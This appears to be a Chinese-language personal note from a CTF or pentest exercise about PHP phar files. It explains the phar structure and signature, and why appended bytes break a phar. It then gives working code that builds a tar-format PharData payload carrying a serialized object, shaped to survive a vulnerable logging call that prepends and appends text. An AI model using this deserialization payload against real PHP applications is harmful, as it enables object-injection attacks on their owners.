Phar文件记录


今天被卡到了关于phar文件的地方,在写入文件时,系统自动添加了两个回车,导致phar文件不可用

诸如

1606463210143

这种前面的还可以去绕但是GBMB文件结尾后面如果有任何字符,则phar文件打开失败

phar文件的结构

翻阅手册可以知道,phar由四个部分组成,以下是对详细的介绍:

  • stub phar 文件标识,格式为 xxx
  • manifest 压缩文件的属性等信息,以序列化存储
  • contents 压缩文件的内容
  • signature 签名,放在文件末尾
1
2
3
4
5
6
7
8
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("【2020-11-27 15:42:57】\nGIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

$phar->setMetadata($window); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

之前没有做实际测试

提出问题

  • 为什么以图片马的方式制作一个phar,不可用
  • 很多介绍都是说前面可以随意伪造,那后面呢

经过测试发现

  • 前面内容随意加,是在phar文件生成的时候随便加,在phar文件生成之后,任何地方的一个小改动都可导致文件不可用,毕竟二进制文件
  • 文件尾部不可伪造

强化概念

phar文件的文件签名问题

phar文件的签名是在生成phar文件时通过stopBuffering自动计算生成的

(如果能绕的化,估计也是在最底层,找这个函数的漏洞)

签名是唯一,上述两个问题可以这么想了

  • 在文件生成之后再合并图片,肯定与签名不符,导致打开失败
  • 签名的存储部分是再文件尾部,如果再文件尾部添加字符,会导致无法获取签名,无法解析phar文件

签名位置

1606465263531

end

在渗透测试中,如果需要用到phar文件,写入的文件

1
file_put_contents(LOG_PATH . 'notify.txt', "【" . date('Y-m-d H:i:s') . "】\r\n" . file_get_contents("php://input") . "\r\n\r\n", FILE_APPEND);

前面添加了什么内容都可以尝试伪造,复不复杂的问题

但也如上,后面若添加了字符,就需要另外一个小知识点

实际上phar还支持其他几种的压缩文件的反序列化,比如zip,tar之类的,这些在之前也有出现过,只不过针对的利用不同而已。

当时经过小小的测试后发现,tar文件就是一个很好的选择,因为签名并没有放在尾部,所以尾部添加任意字符都不会影响最后php底层的解析,这也便完成了利用。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$log = "【" . date('Y-m-d H:i:s') . "】\r\n";
$data_len = strlen($log);
if(!file_exists("./phar.tar")){
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$o = new FLAG();
$phar->setMetadata($o);
$phar->addFromString($log, "test");
$phar->stopBuffering();
//file_put_contents("./phar.tar", "]\n", FILE_APPEND);
}
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, $data_len);
echo rawurlencode($post_exp);